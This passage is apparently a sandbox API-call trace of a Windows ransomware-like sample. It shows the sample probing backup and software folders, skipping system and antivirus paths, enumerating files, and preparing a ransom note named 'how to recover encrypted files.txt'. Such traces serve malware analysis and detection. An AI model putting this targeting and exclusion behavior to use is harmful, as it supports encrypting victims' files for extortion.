cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⎌R企@\x18?T\x18q")) returned 0xffffffff [0047.031] GetLastError () returned 0x2 [0047.031] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\❈RP") returned 6 [0047.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.032] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18y")) returned 0xffffffff [0047.032] GetLastError () returned 0x2 [0047.032] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.032] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18?T\x18\x81")) returned 0xffffffff [0047.032] GetLastError () returned 0x2 [0047.033] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.033] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⎌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.033] GetLastError () returned 0x2 [0047.033] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.033] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.034] GetLastError () returned 0x2 [0047.034] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.034] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18?T\x18\x97")) returned 0xffffffff [0047.034] GetLastError () returned 0x2 [0047.034] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.034] GlobalLock (hMem=0x440004) returned 0x551178 [0047.034] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.034] GlobalUnlock (hMem=0x440004) returned 0 [0047.034] GlobalLock (hMem=0x440004) returned 0x551178 [0047.034] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.035] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.035] GlobalUnlock (hMem=0x440004) returned 0 [0047.035] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.035] GlobalUnlock (hMem=0x44000c) returned 0 [0047.035] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.035] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.035] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.035] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.035] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.035] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.035] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.035] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.036] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.036] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.036] GlobalUnlock (hMem=0x44000c) returned 0 [0047.036] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.036] GlobalLock (hMem=0x440004) returned 0x553188 [0047.036] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.036] GlobalUnlock (hMem=0x44000c) returned 0 [0047.036] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.036] GlobalUnlock (hMem=0x440004) returned 0 [0047.036] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.036] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.036] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.037] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.037] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0047.037] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0047.037] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.038] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0047.038] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.038] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.038] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.038] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.038] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0047.038] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0047.038] GlobalLock (hMem=0x440004) returned 0x551178 [0047.038] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.038] GlobalUnlock (hMem=0x440004) returned 0 [0047.038] GlobalLock (hMem=0x440004) returned 0x551178 [0047.038] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.038] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.038] GlobalUnlock (hMem=0x440004) returned 0 [0047.039] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.039] GlobalUnlock (hMem=0x44000c) returned 0 [0047.039] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0047.039] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.039] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.039] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.039] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.039] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.039] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.039] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.039] GlobalUnlock (hMem=0x44000c) returned 0 [0047.039] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.039] GlobalLock (hMem=0x440004) returned 0x554190 [0047.039] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.039] GlobalUnlock (hMem=0x44000c) returned 0 [0047.039] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.039] GlobalUnlock (hMem=0x440004) returned 0 [0047.039] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.039] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0047.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.040] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0047.040] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0047.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\ja-JP\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0047.040] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.040] GetLastError () returned 0x12 [0047.040] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.040] GlobalLock (hMem=0x440004) returned 0x551178 [0047.040] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.040] GlobalUnlock (hMem=0x440004) returned 0 [0047.041] GlobalLock (hMem=0x440004) returned 0x551178 [0047.041] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.041] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.041] GlobalUnlock (hMem=0x440004) returned 0 [0047.041] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.041] GlobalUnlock (hMem=0x44000c) returned 0 [0047.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d78, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact 